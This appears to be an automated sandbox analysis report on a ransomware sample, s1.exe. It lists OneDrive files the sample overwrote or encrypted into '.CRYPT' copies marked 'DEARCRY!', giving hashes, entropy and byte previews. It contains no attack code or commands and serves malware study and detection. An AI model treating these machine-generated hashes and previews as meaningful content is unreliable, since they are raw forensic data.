                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-100.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2264
                                                              Entropy (8bit):7.931749537479883
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BB7EA1B480071BDF3EA666A7923828B4
                                                              SHA1:E2316B1A45F25E8772215E42DD252202778E1FA8
                                                              SHA-256:10390FEDAE8849A88E54E405330E36F6CA9162689B88EDD4AAACF49242E1E235
                                                              SHA-512:0E13EBCE371094292DF335B6B4A5EDE1A1C93A5BE1FB0F4C7B2C59977D40C433FEF739AB0926B5F4E903A17A52B96A36C576DB1177AFF0DEB2029343B0F645E9
                                                              Malicious:false
                                                              Preview: DEARCRY!.........L...T....i-Nv.N..y..0..@.?..q..k...#.5...j..'m(....qa.Y..|".C.........I.u4.I.._.........|.{j"........o....|....@.......9...5..2+..C..O"%;.....H1=...fw....g..b.bb.,.....d....M.....3.H.s,.l(1S9...c'......qU.n..".\......"D]..p...._s..r...P.............kIs..n.N...6f.n.(...f.iN..(.....o..0.r@.3....R.Xf.\y..i...+&..........q....rY... .....z...........A$[}......xz...z%Wx...K..B.uN..#0.N.!.&..-.9..w.v...OF.j.w.:I...r.....O..b.,f$vO.nj..|.%C.x.".9..../QO.>. '.hP.U$f..^.N.(.z......1.......1...z..'.^..s/?../r`.{........6...B&...%.D.. ..a.O.+.....]d...f...%U:..5Q..@7A.9...>}(I`..K.p.v......7.d7:9..9....."M...1.4.Nm...8....Z?...dqu...g&.........<..Pp..0.TN....D....im.....B.......H...=+.suj.$.p.. 3..b. X,v.~q..b/.....\...Zi..5.<.[E.>(j.).v.^.T..&.qN...=...Y....6v..[..mM....S.\.c.`..+~h..K.a.2....S...*....... ....l.!Ff.@p....>J....Jo..o....$.Q.4..<..x......m......>.t.uJt....m"iR..!...2..0....._^^d.V.......B..O.....&S/....1R.W.:zq
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-125.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2865
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:01B6BAFF89BC1F74FAB16C64CC9B8CFB
                                                              SHA1:2D7F5F2738E4B21259080C6A3548F7EE1F34B7A5
                                                              SHA-256:411C452DB44B441C28E0D042D003004F90E4E5F6C6B91AB9DCB589BCDEDC7EF7
                                                              SHA-512:B48E61E74ED372704CA297EBAF868D200ED16DE626310DAEB5ABA07DDFE1A5BDC4F3784A04097897C85F0BA115E4D85F314CCCC7208C5AAD70D811629530E575
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-125.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3160
                                                              Entropy (8bit):7.938699925279904
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:43DA648F027145020B2C0D128851ADF5
                                                              SHA1:166D639C6C32D5771992C7526302E7B0DE58C89C
                                                              SHA-256:F724867D98897520C93CAA78E1E274F7A69A4B4D2FA929797BEDFF17AB968038
                                                              SHA-512:AE91D02ACD7B377BEBEC8E2D690A17BDCC466EB2EC4B3BEEDD3CE8AB4F3AC5464B497C9E1BB12894A526DE0FDF0C6184B3B9D01C4DD909DF4B46F755371DB81F
                                                              Malicious:false
                                                              Preview: DEARCRY!..........r..YC...K6h.TC...[$.gA.......t.SK.h.gt.t......U..... .0ri..j."Lr0q....=S...'.G:...-..#..3..vc...,........y[0....]I..]sO...'C ..}..[....K..`X.Qy.u...JA..o..........^.b....V......pt._<...$..of.m.._{YY:.k..ty..<..ei..-..G.6..r.e.......z.3."....1........M...:C..........%6... . ...~..uX.p0.......CB.......7..3.I.>NV.HUt......(..J.=>..=i.R~...c.."....O..H...1...z/.q..FtdX..399>/$..U8...=...<..aKu.:......... `$5dG..Y..S...w.mk.L).z..h...#.....@..<.'u.z..m..@.4\.o.-...y....&AH.M..]#M4..t8.U....S...i. .5q!...i.:...v.RF.Jo..CBw......~^.!dg $.e.Lmy..<..W#$V.....5Fg.urR..B....^.wS..M."z..Hr.i..?m..:....,.[..Umi.^.i..Y.q..9.8r8...".O+-..s....$.eQ.YE..9WX...!.hw....mV..hIi.4...V.F.n.G.f..a.. ..%@..G+.d4.U...&...f.c.t.k/$?7`.Fcjq?I..~+j1.{}j..AS.H5,..F.[.-..........6..T..c(......Z.....v....-m.......d...]6>....*E....l...J...Xhb"s.... Fo.-4..w.L...Pi. V.Y.`{....W..?..;.R'..../..}L....!..C.}Fc....-...Y.."........m.{...Q.u..\...1..."..Q.w
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-150.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3488
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:12DF7D7393A97B71336A4D7073A24058
                                                              SHA1:BF1770BD5173FB933A3896951AA7B1447E3AA6E2
                                                              SHA-256:70E5ACDE0848A3CBB0E2560A62B70DE755C3458AB27E23124B4C06F6EDEE9E91
                                                              SHA-512:C66981282405AA3B64CA5C15AC2711E3936961321BF1B6E8E41441CE621169206FE2CFC073661F65754F268A1BBC3DC63A3388EFC8AF9689AEC94D4AAF2F09BC
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-150.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3784
                                                              Entropy (8bit):7.944815777987957
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8FB1C2AB6B73EC0B91B0844BFC411771
                                                              SHA1:F60E890544C6F931A84FE4D6E18E6819856B669B
                                                              SHA-256:9349D6FE350EE53A8A11A5BAA976B7260C3B67173EB12963F64B69E45D4FF030
                                                              SHA-512:A93D569CDA4109BD491D02376AD860D249DF1C27E504041E7E047BB334CD1EC6FA0A453852694D0CAC0BF10D89F847AB4793D97F0214F28F7F10F1FC5D305C65
                                                              Malicious:false
                                                              Preview: DEARCRY!....-...+2&.....>....k2..:=.....<...%.:.....q.y.*C..g'.r.....3.E......x...op-"..6..c.H%......YX?O..f..'..BL.V.....%K.A$n..:.J...!f.....1.vL*0...M..}G.:._..t.4.Q.....:+.R.>.(..:J.....K........mg...u.q.g...o.a2b.....^..q...V!.{..?.&...}[.C.|....HC.............E.@.......Q"y.S.g.."|...).Z<D.*....oD..n@......c..5.......~.f.=.S..K^0. .]...I..p.x.A.Q0......^..g.F+.~..L.2.....l..."..6.@t...C...%....l?...k..`...iA..{..W.o.....'..8.R...K.6..Cz...n.@..C.1.....?..'..f...J..U...3#Y....b?.AE.[..[Q.9..&{nj(...oyK..MD.G...Ec.pw1<....M..}.....}b...^J....|......cZ...0F|..S_.....[.z.....^a......6......{.^.......:.F.%S..e... (.(a....En_..9.dl_..z+a..Ym.%...k=.d. .^.....=.....J>A~FY.)...HG...!....".......bi.-_..S....X.....9...@.......dq|pgg....X.....U..r..4D<.(.l..yF2..2m..p...;.@5.....`..X.B..7.Q.?.%.Ue....O...-.^...k..kj&...A......r.q.....:..F..q..H.#.=.$..H;..!....{`.#e.\o...8?|.Q.kJ...8. ..U.....].o...Y.-..C#-.M........(....|..m.
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-200.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4787
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E6191058D24DB508F6A7431BC51EEFAB
                                                              SHA1:7AD176AEF90970C37565A847943660500FF98620
                                                              SHA-256:153FAF14F0313E85C5FF835795855C31CC5029AB2941CEA7D60B2D7CCEED683A
                                                              SHA-512:4B099E6E2CBF8002EBEAF6D97DE09ED01FFDDED44FF7C226876505F288257506FD5A0F9FCAAFFB9EC6FEC2202C117B2E4D79C6092FE001EC33DA0CB16BDE441C
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-200.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5080
                                                              Entropy (8bit):7.96696926556076
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:23CECB7DE5302703612AF000232A03EF
                                                              SHA1:ED8E5580FF538BF677C8E9D4565ADAA00276D979
                                                              SHA-256:D25C3F0E69FCE65597CF4D72F22E27536544712C7C6EE23B27095BDF8BD49860
                                                              SHA-512:40F630FF0B787FDC4EC1085C3ED31EB1781B2B1AC041167A56BDF22DAFDEE1B059E8F42EA66496A404F140CAB58F696CA91C68BB523AB594639792797249AC8D
                                                              Malicious:false
                                                              Preview: DEARCRY!....... .[.z...p.~g...q..kvIp.P/a.......`{...Ba..$(....e.!.F......2 P.s3.g.(..q?..I......0.!`..;b..oy..E....W.-g.g.s..w].ZGK.o.r.......z.!...<.e`JN}........?....:........d./....F(..j..#..3...:.....?....S.=.u.S..$M.0........w0..w(e.1..]&Y..-.g...B1v................*..,..b...n?y$c.C......J.#w)F......S.p...6...,.!..E.9.....*L.......2..?.=#4e\..T3..JY...bcK.'..[..3...#f..c..h<...L.Ert..5...*.Z.*h...b..{..s..>..b.[2.a....\.....=EK\P#*B..y...4.E...................~.2T....T].*..S...>.|..t.....>vL~T}.(.D.^..[5.3.5"0}.e...o.4.a.....c...Sn.Xc_. .%......MQ..N.qc....mc...W}........l.'...IY..k..*.P...De..PL..{..*..<d.].z..4..Q\....nbo.A..<...D....K.*..t.|...a.\.....O.b.P.c/\....6x.R1...z...@.......7ck.I..54)..N.....U..0uL<.v.|...V}'.>X..v......,x.3M.?..Cv.=...x.R.2...L.*.....;.......M.A......]....0.x.7&.-e.d.J..I9..T6W<..k..O>..mi.d.....C....j6.@3..&...x..........l..j.Z..%.p>E|J).3.\.!~c.t...4FKq0...d-.*.p...+..)....H..qVu..].......O.O
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-400.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):11843
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0B74E3F84F67CC7773BD97211DB9663D
                                                              SHA1:9E0B642AD67BA4C5F3A3B2880681DC0AB203B8A4
                                                              SHA-256:788EADB7868E707DB99BC1C93AF51C44BC0E0895FCE0812694C534DA273E5F91
                                                              SHA-512:F704A818CE16AB70EDDC88172504C2787FB44A13E95A2B1CF0AE5D0ABE1234BDC5A6D623CCABEA8DB2386EFB6B796DA66283B2B9BCF92FBA3887EE260C8536C0
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-400.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):12136
                                                              Entropy (8bit):7.983301997044881
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:154B1FB367BC6FAED40CDAD99B062BFB
                                                              SHA1:C96C53151A1E08A67AAA156B3AC2F9D5E2283036
                                                              SHA-256:8A2D3E5A0D54BFDEFF5C750E066D54C9973FDB3A37A2AA7B0B578ACB45C3C6EE
                                                              SHA-512:4D925EB7EE6EBBE5069C9F805CDEF77F45A72A037FF9BCD287705F93224683FB634ED95F49F01245D421668629DE2FA95D2698E6F3E1D7D14F03B887DC97DE2C
                                                              Malicious:false
                                                              Preview: DEARCRY!........m.~.s.........{.s.kimmo.....;...B.`...M...(.,..t.y\..GS.l.....{s....v.0.....c..w'...N,...\..y~*...o.d2.%xQ..MwVR{...EY.U.......w.HP......D'...g......k..I..%.....FwQ...!.t...p:s...h,.9....1&.uf...{8..wF.b..tJj.....A:..@J....&..h..............C.......'..l.G+......&...d..R>._2.o;ker/Z....G..u+\..Q.6..I. .........uW.+5.=.>z....x..VQe.b....Y ..:..Ck.. v.I.c{.2[".L....'&iv4O.gr.0...I...o..DI...I.~[.h.\...$...BG3.a=.].q..oZ....t...r6.=..Z.@......)%..A......m}.T..>tg!.....-.5....UM.2.o...Rig.u/.6.....fM*f.n%..[...v...Z:..R0.".......3.......-.\...)....*za/..{>J.E.,.(..$.v}....24.G.M`5....3...j..w.B..a.s..L.....a...F#._..I.]M......!..@|..........b.L.d...U....T~.~C.c>N^$.G1.e.*.5..H+.......%....;D u.O.....Q.j^.}q.....7......w..&....+.^...b..dH....}.....6.........8U.}.V....~..ChS..A.......$.#..U:Y}.^.\g'i[.9JV..t...T\.~..../^}.G.bd..L.xl...#%!.h5....._.^>..._..'.........MX.a......j.s....C..Y.C..L..p7.FO......A....,..E...wtU10.W
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\OneDrive.VisualElementsManifest.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):344
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2ADA23F6E5E18CF833BA1C07A7AC1331
                                                              SHA1:9A9743D273904EB0211B4CD024DCD17D07707C67
                                                              SHA-256:78C5D31B01BFE0A1880A970B1FBF359BC8F02EA8674C8B669098E0D2BE4D7C58
                                                              SHA-512:96F32CE3FAC26B4D34F120191EABD4E1256EC3E3E372C3AE99D2DB5553E6F6605705EED178A6E1656A28107FE01E5B23A79E394C4AA354CA815526793AA27958
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\OneDrive.VisualElementsManifest.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):632
                                                              Entropy (8bit):7.633260224455256
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:08977AA9ACAC1FD3C92271968A3C70F9
                                                              SHA1:5114B15A835B4C8CEA0FAF8DDE763F346F176EF9
                                                              SHA-256:4E6E89A13DBC9CC40C431A1311001EABA97BC217FD6EC41BBC926C5882B69CB6
                                                              SHA-512:7E3E75753E61ED41DAE3655A410976711B82ACAC32C1A4662E168940272653232FA2E505894EE649971FFD294F601BC42B95658FC585C11CF81B0DFB50CFAA8A
                                                              Malicious:false
                                                              Preview: DEARCRY!....x..c.e...*..'.Js/.X:...rYMe..k0d5..Bsz..D...k.z.%.z.V}.X8&.....D.,.......<.............!.....)r.[...."N..c..-.....G.....}.K...'.1Z./.....i.A...R......^...5..._..#...U8.....'.#..QC].A..7......cG2cC..9 .W...Y@.H.Je......7...D.Q..1u<...j(.-.......X.......Co.6*.`..NV.....h...n.....C....6j#..3.&5(.....b...P( H..."@.d...k.o.t.,...)O.=..O@...t,c-y...O|@f......]..NTY....5..)N..tldY.L......*}.W`.......%.Y.(..*.ms.f#Z1....!Y.Ua.T!k.I.TN.u1..Ol.........>.....A]!.]..c..Z....g.e.8.M..Y.<&L,...:3*...4...?'a.....U...8...)..9.......>..M.C+.F.x...S~.>...".8...{.-.B....%...g)B8/..Z.m..~.J.2...0mB.q.
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\DeviceHealthSummaryConfiguration.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):77
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B3C5F33E9D7F3447DA289F0920C9D550
                                                              SHA1:CCF93CED5C9A95C23AE36936B7EBFF088C991919
                                                              SHA-256:9D887D47C78267827DAC4AFB2CBDCC593D1B89C1D0C1F22C3800CAE7916962CD
                                                              SHA-512:FDD568AE9E85497AD001CEB3E3866CC803883676A2AC3C2DE41317AB2C91A63452D66160D2CDFBE2663B7DA7297CD1732F4FD48D825370DACDAB85C4C52AE0E2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\DeviceHealthSummaryConfiguration.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):360
                                                              Entropy (8bit):7.400452506284963
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A88D9ECFBE3F9A9CFC531638542837B1
                                                              SHA1:6704AB8E2C051C49E0AE8BE77B44C7E1EEC76193
                                                              SHA-256:7F0035B49561E70BAB4677F9B06ACE4740B69EA2A492F64B9FFB1C7755631874
                                                              SHA-512:B9D6EF01270D5506C4870A88ABF159AB06AC03400145E877F1F64BF831ADC76178FC212F241E153AD1C611ADEBC69D2DE6FF80055D6E407498D99068131C5984
                                                              Malicious:false
                                                              Preview: DEARCRY!.....G..............I.......9y..}".R.w.G<*...U.....0...m....H.P....i....S.^.6]c.Ryp...%Q.k!...D-.X..`..F...L...^.[U..H6..~q.W5.|...9.R....._..@.a.=>...:=..(. .....>...]u..n'..!..6e.".s.oX..r.......(.Ty..$#./... ..zW'..Y2>X|..g.........| q..h...FVO....M.........Hw C).;,..".i1..../...B.....l.^4..X..bj..%.U..g....s.K~C>.O...x...9.2.O.n
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Downloader_2020-07-22_194735_5524-5528.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):9752
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6FC5840085245C35F681D332B95DC924
                                                              SHA1:0D1EEA7CD626F81906BF9868F8E65C394FEAA60A
                                                              SHA-256:C1DE638062F3A1BD9AB63560FA34EE18E0431DF76B2521886A6F272829072944
                                                              SHA-512:4862E905D03425F1EFF0125BECAC38235DE4D6BB03B02AC2636C8892DFBFA7B780DED425C3F9E0F0190083DC470D89A72BDE2350B2935B3F7753B0481327E07F
                                                              Malicious:false
